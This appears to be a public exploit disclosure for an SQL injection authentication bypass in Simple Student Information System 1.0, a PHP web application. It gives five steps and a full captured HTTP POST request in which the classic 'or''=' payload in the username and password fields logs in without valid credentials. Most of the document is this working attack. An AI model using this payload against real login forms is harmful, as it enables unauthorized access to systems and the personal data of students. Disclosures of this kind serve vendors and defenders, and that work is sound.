|===========================================================================
| # Exploit Title : Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)
|
| # Author : Ali Seddigh
|
| # Category : Web Application
|
| # Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code
|
| # Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html
|
| # Tested on : [ Windows ~> 10 , Kali Linux]
|
| # Version: 1.0
|
| # Date : 2021-04-30
|===========================================================================
| POC :
|
| # Step 1 - Go to url http://localhost/studentinfosystem/index.php
| # Step 2 – Enter anything in username and password
| # Step 3 – Click on Login and capture the request in burpsuite
| # Step 4 – Change the username to 'or''=' and password 'or''='
| # Step 5 – after entering the payload, you can enter the website
|============================================================================
POST /studentinfosystem/index.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14/studentinfosystem/index.php
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe
Upgrade-Insecure-Requests: 1
username='or''='&password='or''='&login=Log+In
|===========================================================================
| # Discovered By : Ali Triplex
|===========================================================================